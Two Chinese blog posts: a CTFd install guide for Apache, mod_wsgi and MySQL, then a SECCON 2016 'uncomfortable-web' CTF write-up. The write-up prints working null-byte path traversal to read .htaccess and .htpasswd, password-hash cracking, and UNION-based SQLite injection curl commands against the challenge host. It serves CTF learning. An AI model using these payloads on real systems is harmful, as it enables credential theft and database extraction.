使用 CTFd 架設 CTF 平台 (Apache + mod_wsgi + MySQL)

這陣子因為課程需要建立一個 CTF 平台, 最後決議使用 CTFd 來架設這次的CTF計分板, 安裝的過程中踩了不少的地雷, 又因為懶得裝 Nginx 改採 Apache + mod_wsgi 結果冒出了更多問題, 真的是人不作死就不會死.

本篇文章假定各位已經裝好 Apache 與 MySQL.

關於 CTFd

CTFd 是 isislab 推出的 open source jeopardy style CTF platform, 使用上非常容易上手, 運行要求十分輕量且容易客製化.
DEMO: CTFd.io

環境資訊

Python 2.7
Apache 2.4
Debian 8

1. 環境準備

sudo apt-get update
sudo apt-get install build-essential libffi-dev git libapache2-mod-wsgi python-pip python-dev
a2enmod mod_wsgi

2. 取的最新版 CTFd

git clone https://github.com/isislab/CTFd.git
cd CTFd

3. 安裝相依

pip install -r requirements.txt
pip install -U sqlalchemy

4. 設定啟動腳本

在 CTFd 下建立 apache.py, 讓 Apache 使用這個 py 來啟動服務

import sys
sys.path.insert(0, '/CTFd') # /CTFd 要改成你的 CTFd 主目錄的路徑, 範例是放在 /CTFd

from CTFd import create_app
application = create_app()

5. 設定 Apache

DocumentRoot /CTFd # CTFd 所在目錄
WSGIDaemonProcess CTFd user=www-data group=www-data threads=5 # user/group 決定 Apache 用哪個帳號運行這支程式
WSGIScriptAlias / /CTFd/apache.py # 前面步驟設定的啟動腳本
 <Directory /CTFd>
    WSGIProcessGroup CTFd
    WSGIApplicationGroup %{GLOBAL}
    Order allow,deny
    Allow from all
    Require all granted  # Apache 2.4 預設禁止目錄在 /var/www 外, 這行可以解除這項限制
</Directory>

6. 設定資料庫連線(Mysql)

建立資料庫的時候編碼記得選擇 utf8mb4_bin (若選擇general將會導致計分板無法正確取得題目類型), 這樣就可以讓 CTFd 支援 Emoji 和中文

編輯 CTFd/CTFd/config.py

SQLALCHEMY_DATABASE_URI = "mysql://帳號:密碼@主機位置/資料庫名稱?charset=utf8mb4"

這邊無需導入資料表, 在網站第一次啟動的時候程式會自動建立必要資料表以及產生Admin

7. 重新啟動 Apache

systemctl restart apache2

備註

由於 CTFd 有檔案上傳與Log, 要記得將 CTFd 目錄的擁有者設定成 Apache 使用的帳號, 不然CTFd不會正常運作

SECCON 2016 Writeup – [Web] uncomfortable-web

題目

題目給我們一個介面, 我們必須透過此介面執行程式來訪問位於內網的目標網站

過程

題目提供了簡單的範例程式, 用 curl 取得內網內容

#!/bin/sh
curl -s http://127.0.0.1:81/

從 curl 回傳結果得到了目錄結構資料

<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>

目錄中有一個受保護的目錄 authed, 以及一個 select.cgi
在訪問 select.cgi 後, 發現 select.cgi 接受一個參數 txt, 值有 a,b 兩種

select.cgi?txt=a

select.cgi?txt=b

從結果可以知道 select.cgi 會去開位於 authed 內的檔案

Apache 的 HTTP Basic Authentication 是由 .htaccess 設定的

因此請求 .htaccess 檔案, 看看帳號密碼存在哪裡

select.cgi?txt=authed/.htaccess%00

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo

從檔案中可以得知帳號密碼位於 .htpasswd 內

select.cgi?txt=.htpasswd%00

keigo:LdnoMJCeVy.SE

由於 .htpasswd 存放的是已經 hash 過的結果, 我們可以使用 John The Ripper(JTR) 去爆破出原始內容

john .htpasswd --show

keigo:test

在成功取得 authed 的內容後, 發現有一個 sqlinj/ 目錄

在這個目錄內有 100個 cgi, 隨便打開一個

<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>

從 HTML 內可以知道程式可接受 no 參數, 於是寫一個程式去測試所有cgi

for i in $(seq 1 100);
do
    echo ${i}
    curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27+or+1--"
done

從結果中發現 72.cgi 是唯一可以被注入的, 於是便透過 sqlite_master 取得資料表結構(SQLite)

curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=4822237842%27+union+select+1,(select+group_concat(sql)+FROM+sqlite_master),3--"

看樣子 flag 應該是放在 f1ags 的 f1ag

CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)<br>
curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=%27+union+select+1,(select+f1ag+FROM+f1ags),3--"

成功得到 flag

ISBN-10: 1
ISBN-13: SECCON{I want to eventually make a CGC web edition... someday...}
PUBLISH: 3

FLAG

SECCON{I want to eventually make a CGC web edition… someday…}

後記

真的超不舒適的題目
因為過程要一直改檔案後上傳, 所以寫了一個小 script 去上傳 code

import time, requests, StringIO
import lxml.html
target = "http://uncomfortableweb.pwn.seccon.jp/"
command = """\
#!/bin/sh
#curl -s http://127.0.0.1:81/select.cgi?txt=authed/.htaccess%00
"""
resp = requests.post(target, files={"file": StringIO.StringIO(command)}, data={}).text
print lxml.html.fromstring(resp).xpath("//pre/text()")[0]

稍微舒服了一點.